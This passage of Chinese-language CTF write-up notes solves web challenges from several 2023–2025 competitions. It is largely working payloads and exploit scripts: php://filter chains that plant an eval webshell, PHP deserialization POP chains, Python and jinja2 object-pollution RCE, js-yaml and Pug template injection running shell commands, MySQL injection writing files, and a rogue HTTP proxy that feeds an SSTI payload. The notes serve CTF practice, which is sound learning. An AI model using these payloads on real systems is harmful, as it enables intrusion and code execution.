$s = file_get_contents('payload.txt');
$s = preg_replace('/=\r\n/', '', $s);
echo $s;

得到结果:=FE=FF=00c=003=00l=00z=00d=00G=00V=00t

那么反过来解码的时候就是:

1
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=ctfw

最后发现 flag 处于环境变量中,打通。

image-20251017155905562

XGCTF 2024年7月5日20:00

https://docs.qq.com/doc/DRmVUb1lOdmFMYmx1

CodeInject

payload:1="1");system("cat /000f1ag.txt"

easy_polluted

审计一下代码,发现几个关键点。

首先是渲染时候,语法有变,正常是 {{}},但这里变成了 [#flag#],这个暗示也提示我们可能是需要污染一下。

哦对了,password=secrectkey,所以这里也需要进行一下污染哦。

1
2
3
4
5
6
7
from flask import Flask

app = Flask(__name__)

print(app.jinja_env.variable_start_string)
print(app.jinja_env.variable_end_string)
print(app.secret_key)

有 waf 直接 unicode 绕就行,我记得 jinja 模板是用的就是 unicode 解析。

这里是和一个类进行合并,python 污染变量的话就是 class.__init__.__globals__,然后污染就行啦。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{

"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {
"\u0061\u0070\u0070" : {
"\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076" :{"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"[#","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"#]"
}
}
}
}
}


{
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {
"\u0061\u0070\u0070" : {
"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079" :"admin"
}
}
}
}

Ezzz_php

这个题还是蛮有意思的。

首先观察得肯定大概率是要打字符串逃逸的,毕竟只给一个参数的 construct 然后序列化再反序列化,还是很容易让人想到打字符串逃逸的。

那么究竟怎么逃,这个需要思考 + search 一下了。

mb_strpos这个函数在遇到%9f这个不可见字符时,会自动忽略。而mb_substr则不会忽略,导致截断的字符串往前移动了一个位置。

这样就可以打字符串逃逸了,显然要把后面的都挤下去留出read,而 read 又是由 不可见字符 和 序列化后的字符构成的,这样就能挤出去了。

start 不能太短,要让 逃逸后的字符串 长度 <= serialize($readfile),否则字符串都没那么长,谈何挤下去那么多。

payload:

1
2
3
4
5
6
7
http://127.0.0.1/test.php?start=aaaaaaaaaaaaaaaaaaaaaa&read=

%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f
246/3=82=81(payload长度)+ 1([ 的长度)


O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:10:"/etc/hosts";}

当然也可以考虑动态调整一下长度,自己搭建服务,多试试,就好了。

start 的长度可以考虑变长一点,毕竟只要反序列化的时候只要前面对就行了,遇到结束符就不反序列化了。

搞到这里发现可以任意文件读了,但是还是不知道文件名字,怎么办呢?

这里就不得不提到 cnext 了,他能从 phpfilter->RCE

给一下仓库地址吧:

cnext-exploits/cnext-exploit.py at main · ambionics/cnext-exploits · GitHub

cnext-exploits 需要改两个地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    def send(self, path: str) -> Response:
# # return self.session.post(self.url, data={"file": path})
#
read_ = 'O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:' + str(len(path)) + ':"' + path + '";}'
read_ = "%9f" * (len(read_) + 1) + read_.replace("+","%2b")
start_ = "a" * (len(path) + 10)

url = self.url+"?start=" + start_ + "&read=" + read_

print(url)

return self.session.get(url)

def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"What you are reading is:(.*)", flags=re.S).group(1)
return base64.decode(data)

一个是 send 的逻辑要改,还有 download 的正则匹配逻辑要改一下。webshell就写进去了。

关于 filter-chain 的:

任意文件读
1
python filters_chain_oracle_exploit.py --target http://125.70.243.22:31269/chal13nge.php --file '/var/www/html/hI3t.php' --parameter image_path
配合 include 进行 RCE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
$base64_payload = "PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Pz4"; /*<?php @eval($_REQUEST['cmd']);?>*/
$conversions = array(
'/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
'6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
);
$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";
foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
$final_payload = "php://filter/{$filters}/resource=index.php";
echo $final_payload;

安洵杯

2023安洵杯第六届网络安全挑战赛

2023安洵杯第六届网络安全挑战赛 WP - 渗透测试中心 - 博客园

GitHub - D0g3-Lab/i-SOON_CTF_2023: 2023 第六届安洵杯 题目环境/源码

easy_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
 <?php
error_reporting(0);
class Good{
public $g1;
private $gg2;

public function __construct($ggg3)
{
$this->gg2 = $ggg3;
}

public function __isset($arg1)
{
if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
{
if ($this->gg2)
{
$this->g1->g1=666;
}
}else{
die("No");
}
}
}
class Luck{
public $l1;
public $ll2;
private $md5;
public $lll3;
public function __construct($a)
{
$this->md5 = $a;
}
public function __toString()
{
$new = $this->l1;
return $new();
}

public function __get($arg1)
{
$this->ll2->ll2('b2');
}

public function __unset($arg1)
{
if(md5(md5($this->md5)) == 666)
{
if(empty($this->lll3->lll3)){
echo "There is noting";
}
}
}
}

class To{
public $t1;
public $tt2;
public $arg1;
public function __call($arg1,$arg2)
{
if(urldecode($this->arg1)===base64_decode($this->arg1))
{
echo $this->t1;
}
}
public function __set($arg1,$arg2)
{
if($this->tt2->tt2)
{
echo "what are you doing?";
}
}
}
class You{
public $y1;
public function __wakeup()
{
unset($this->y1->y1);
}
}
class Flag{
public function __invoke()
{
echo "May be you can get what you want here";
array_walk($this, function ($make, $colo) {
$three = new $colo($make);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
}
}

if(isset($_POST['D0g3']))
{
unserialize($_POST['D0g3']);
}else{
highlight_file(__FILE__);
}
?>

先手搓一条链子。

1
//You#__wakeup -> Luck#__unset -> Good#__isset -> To#__set -> Luck#__get -> To#__call -> Luck#__toString -> Flag#__invoke

我们该如何构造 poc 呢,这里给一个比较简洁的思路。

首先赋值按照顺序赋值,编号蛇形命名法。

1
2
3
4
5
6
7
8
$you_1 = new You();
$luck_1 = new Luck();
$good_1 = new Good();
$to_1 = new To();
$luck_2 = new Luck();
$to_2 = new To();
$luck_3 = new Luck();
$flag_1 = new Flag();

然后我们按照链子的倒过来顺序赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$flag_1->FilesystemIterator='/';

$luck_3->l1 = $flag_1;

$to_2->t1 = $luck_3;
$to_2->arg1 = "";

$luck_2->ll2 = $to_2;

$to_1->tt2 = $luck_2;

$good_1->g1 = $to_1;
$good_1->gg2 = "$";

$luck_1->lll3 = $good_1;
$luck_1->md5="wSjM90msQ7RqwX3tvQ42";


$you_1->y1 = $luck_1;

image-20251009160600957

这样不用再多次动脑了,赢了!

image-20251009160848102

这里读文件/列举目录用到两个原生 php 类。

1
2
$fsacn_ = new FilesystemIterator();
$read_firstline = new SplFileObject();

非预期解:可以 __toString()__invoke() 衔接的时候可以直接用phpinfo

What’s my name

creat_function

demo:

image-20251009204938291

我们可以试一下,这个编号是怎么变化的。

image-20251009205041187

可以发现,这个是在服务器自增的,除非结束php的进程,刷新网页仍会继续计数。

介绍一个过滤器:

1
php://filter/read=string.strip_tags/resource=

对于HTML来说,它会去除标签保留标签之间的内容

对于php来说,全杀一个不显示。

可以用来绕过死亡 exit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
?filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php&content=?>PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

先用 strip 去掉 php 代码 然后再用 base64-encode 来解码我们的 webshell

?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

这个payload 也可以绕过死亡 exit,PD9waHAgZXZhbCgkX1BPU1RbYV0pOw== 是正常的 b64编码后的 webshell,前面a字母和死亡exit中除了特殊字符外的phpexit组成 8 个 byte,从而绕过

死亡exit的绕过同变量名 bypass

php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=shell.php

php://filter/write=string.rot13/resource=<?cuc cucvasb();?>/../shell.php

php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2b/../shell.php
这里 strip_tags 是为了去掉 等号 否则 b64 解码可能到等号就停止了,这样加个 ?> 闭合 然后用 strip_tags 都去掉 php代码,最后留下的就是正经的

这里构造虚拟目录然后再退出,目的就是让文件可读可访问,要不然全是特殊字符。

这题我们用来绕假 flag

差不多了我们来看逻辑。

  1. 要求 xxxxx include 这种正则匹配,并且要求前面是 5 的倍数,后面不要求。

  2. 如果 $d0g3 的长度等于 $miao 字符串的最后两个字符的值(转变成后两位)。

    这里注意 $miao 这个变量来源就是 %00lambad_numnum 从 1 开始自增。

  3. $name 严格等于 $miao 的值,构造一下嘛。

错误的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import time

import requests

url = "http://192.168.42.128:9999/"


data = {
"d0g3":
"""zzzz'"]);}include("php://filter/read=string.strip_tags/resource=admin.php");echo "zzz";/*""", # 这里长度为 89
"name":"%00lambda_89"
}
for i in range(1000):

res = requests.get(url=url, params=data)
print(str(i) + ": " + "Requesting")
if "zzz" in res.text:
print(res.text)
break
else:
print("Waiting"+res.text)
time.sleep(1)

以上 exp %00 会被编码两次,因为默认 param = 里面的会被 URL 编码一次,相当于两次了,无法相等了就。

正确的 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import time

import requests

url = "http://192.168.42.128:9999/"


# data = {
# "d0g3":
# """zzzz'"]);}include("php://filter/read=string.strip_tags/resource=admin.php");echo "zzz";/*""",
# "name":"%00lambda_89"
# }
for i in range(1000):

res = requests.get(url=url+"?d0g3=zzzz%27%22]);}include(%27php://filter/read=string.strip_tags/resource=admin.php%27);echo 'zzzz';/*&name=%00lambda_90")
print(str(i) + ": " + "Requesting")
if "zzz" in res.text:
print(res.text)
break
else:
print("Waiting"+res.text)
time.sleep(1)

直接拼接 URL 是不会被编码的!!注意

signal

js-yaml,然后yaml.load()会加载为js对象。

在github找 js-yaml 文档说明,怎么解析对象的。

注意版本:

1
npm install js-yaml@3.14.1

image.png

这里明显用 function 可以测试一下:

1
2
3
4
5
6
7
8
9
10
11
12
const yaml = require('js-yaml');
const yamlString = `
"name": {
toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"
}
`
const yamlData = yaml.load(yamlString);
output = yaml.dump(yamlData);
// console.log(yamlData);
name_ = yamlData.name;
console.log(name_);
console.log(typeof(name_))
1
2
3
{ toString: [Function: anonymous] }
object
// 这里 name_ 就是一个 Object

我们想解析一个 tostring 方法出来,因为明显 res.render 渲染的时候,typeof(name) = object ,那么 object => string 肯定要调用 tostring,我们只需要重写 tostring 即可。

image-20251010143653459

Swagger docs

HTTP流量截断

发现存在任意文件读取,读下来之后发现 update() 函数中存在类似于原型链污染,可以利用来修改环境变量。这里拜读文章之后发现可以用 http_proxy 在服务端截断流量直接控制返回结果,再利用 render_template_string 触发 SSTI,执行系统指令。

关键逻辑部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route('/api-base/v0/search', methods=['POST','GET'])
@auth
def api():
if request.args.get('file'):
try:
if request.args.get('id'):
id = request.args.get('id')
else:
id = ''
data = requests.get("http://127.0.0.1:8899/v2/users?file=" + request.args.get('file') + '&id=' + id)
if data.status_code != 200:
return data.status_code

if request.args.get('type') == "text":

return render_template_string(data.text)

http代理转发脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# proxy_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler


class ProxyHandler(BaseHTTPRequestHandler):
def do_GET(self):
# 检查是否是目标请求
if "users" in self.path:
print(f"拦截到请求: {self.path}")

# 返回恶意Jinja2模板
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()

payload = "{{lipsum.__globals__['os'].popen('ls').read()}}"
self.wfile.write(payload.encode())
else:
# 正常代理其他请求
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(b"Normal response")


if __name__ == '__main__':
server = HTTPServer(('0.0.0.0', 8080), ProxyHandler)
print("代理服务器运行在 8080 端口...")
server.serve_forever()

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
import requests
import json

# 目标服务器
TARGET = "http://192.168.42.128:22401"

# 代理服务器(你的VPS)
PROXY = "xxxxx:8080"


def register(username, password):
"""注册账号"""
url = f"{TARGET}/api-base/v0/register"
data = {
"username": username,
"password": password
}

response = requests.post(url, json=data)
print(f"注册响应: {response.status_code} - {response.text}")
return response


def login(username, password):
"""登录获取token"""
url = f"{TARGET}/api-base/v0/login"
data = {
"username": username,
"password": password
}

response = requests.post(url, json=data)
print(f"登录响应: {response.status_code}")

if response.status_code == 200:
# 获取cookie中的token
token = response.cookies.get('token')
print(f"获取到token: {token}")
return token, response.cookies
return None, None


def update_password(cookies, payload):
"""更新密码并污染原型链"""
url = f"{TARGET}/api-base/v0/update"

response = requests.post(url, json=payload, cookies=cookies)
print(f"更新密码响应: {response.status_code} - {response.text}")

if response.status_code == 200:
# 获取更新后的token
new_token = response.cookies.get('token')
print(f"更新后的token: {new_token}")
return new_token, response.cookies
return None, cookies


def search(cookies, file="user", type="text"):
"""发送搜索请求触发SSTI"""
url = f"{TARGET}/api-base/v0/search"
params = {
"file": file,
"type": type
}

response = requests.get(url, params=params, cookies=cookies)
print(f"搜索响应状态码: {response.status_code}")
print(f"搜索响应内容: {response.text}")
return response


def main():
# 账号信息
username = "admin"
password = "admin"

print("=== 开始攻击流程 ===")

# 1. 注册账号
print("\n[1] 注册账号")
register(username, password)

# 2. 登录获取token
print("\n[2] 登录获取token")
token, cookies = login(username, password)
if not token:
print("登录失败!")
return

# 3. 更新密码并污染原型链
print("\n[3] 污染原型链设置代理")
pollution_payload = {
"__init__": {
"__globals__": {
"os": {
"environ": {
"http_proxy": PROXY
}
}
}
}
}

new_token, new_cookies = update_password(cookies, pollution_payload)
if new_token:
cookies = new_cookies # 使用新的cookies

# 4. 发送搜索请求触发SSTI
print("\n[4] 发送搜索请求触发SSTI")
search(cookies)


if __name__ == "__main__":
main()

污染 exported

【Web】2023安洵杯第六届网络安全挑战赛 WP-CSDN博客

1
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported[0]

可以污染下面的值来利用 render_template_string 去 RCE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"__init__": {
"__globals__": {
"__loader__": {
"__init__": {
"__globals__": {
"sys": {
"modules": {
"jinja2": {
"runtime": {
"exported": ["*;__import__('os').system('ls /app > /result1');#"]
}
}
}
}
}
}
}
}
}
}

在 Jinja2 的源代码中,我们知道渲染函数实际上调用了 environment.from_string,该函数随后调用 environment.compile 并返回一个由 __builtins__.compile 生成的代码对象。这个代码对象最终会被执行,如果我们能够控制这个代码对象,就能实现 RCE。

经过一些调试,我们发现一个名为 exported 的变量被添加到了源代码中,并在之后被编译进了代码对象。不难发现,它是 jinja2.runtime 中的一个字符串数组,因此我们可以来修改它,从而实现 RCE。

TFCCTF 2024

GREETINGS

PugJs 的 SSTI

1
#{global.process.mainModule.require('child_process').execSync('cat+f*')}	

SAFE_CONTENT

直接省略秒了

1
2
echo file_get_contents("data:/localhost;base64,MjAyNA==");
$exp = base64_encode(base64_encode("`cat /f* > /var/www/html/1.txt`"));

FLASK DESTROYER

mysql 写文件:

1
2
username=admin"%3bselect+'success!'+into+outfile+'/destroyer/app/static/test.html'%3b--%2b&password=123&vibe=y
username=admin";select "{{config.__class__.__init__.__globals__['os'].popen('cat /tmp/*/*/*/*').read()}}" into outfile '/destroyer/app/templates/test.html';--+&password=123&vibe=y

利用代码逻辑:

1
username=admin";update user set password = '123:' where username = 'admin';--+&password=123&vibe=y

FUNNY

详见中间件安全。

LA CTF 2025

arclbroth

外部C语言库用 \u000 进行 SQL 注入截断。

LakeCTF 25-26 quals

gamblecore

第一次下注 9.9999991,如果中了直接刷新 session 开启下一局,如果没中:
parseInt 的特性:

image-20251212120305462因为 parseInt() 总是将其第一个参数转换为字符串,所以小于 10 的浮点数 -6 以指数符号书写。然后 parseInt() 从浮点数的指数符号中提取整数。
所以这里兑换 9 个硬币得到0.09美元,然后下注10次:0.09,0.9,1,1,1每次都检测自己的余额,如果大于等于10立刻调用接口购买 flag。

预期概率大概是 9%*9% 拿到 flag。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
import requests
import time
import sys

BASE_URL = "https://chall.polygl0ts.ch:8148"


def get_session():
"""获取新的会话"""
session = requests.Session()
session.timeout = 10
return session


def get_balance(session):
"""获取余额"""
try:
response = session.get(f"{BASE_URL}/api/balance", timeout=5)
if response.status_code == 200:
data = response.json()
coins = float(data.get('coins', 0))
usd = float(data.get('usd', 0))
return coins, usd
except Exception as e:
print(f"获取余额失败: {e}")
return 0.0, 0.0


def gamble(session, currency, amount):
"""下注"""
try:
payload = {'currency': currency, 'amount': amount}
response = session.post(f"{BASE_URL}/api/gamble",
json=payload, timeout=5)
if response.status_code == 200:
return response.json()
elif response.status_code == 400:
return response.json()
except Exception as e:
print(f"下注失败: {e}")
return None


def convert_coins(session, amount):
"""转换硬币为美元"""
try:
payload = {'amount': amount}
response = session.post(f"{BASE_URL}/api/convert",
json=payload, timeout=5)
return response.json()
except Exception as e:
print(f"转换失败: {e}")
return None


def buy_flag(session):
"""购买flag"""
try:
response = session.post(f"{BASE_URL}/api/flag", timeout=5)
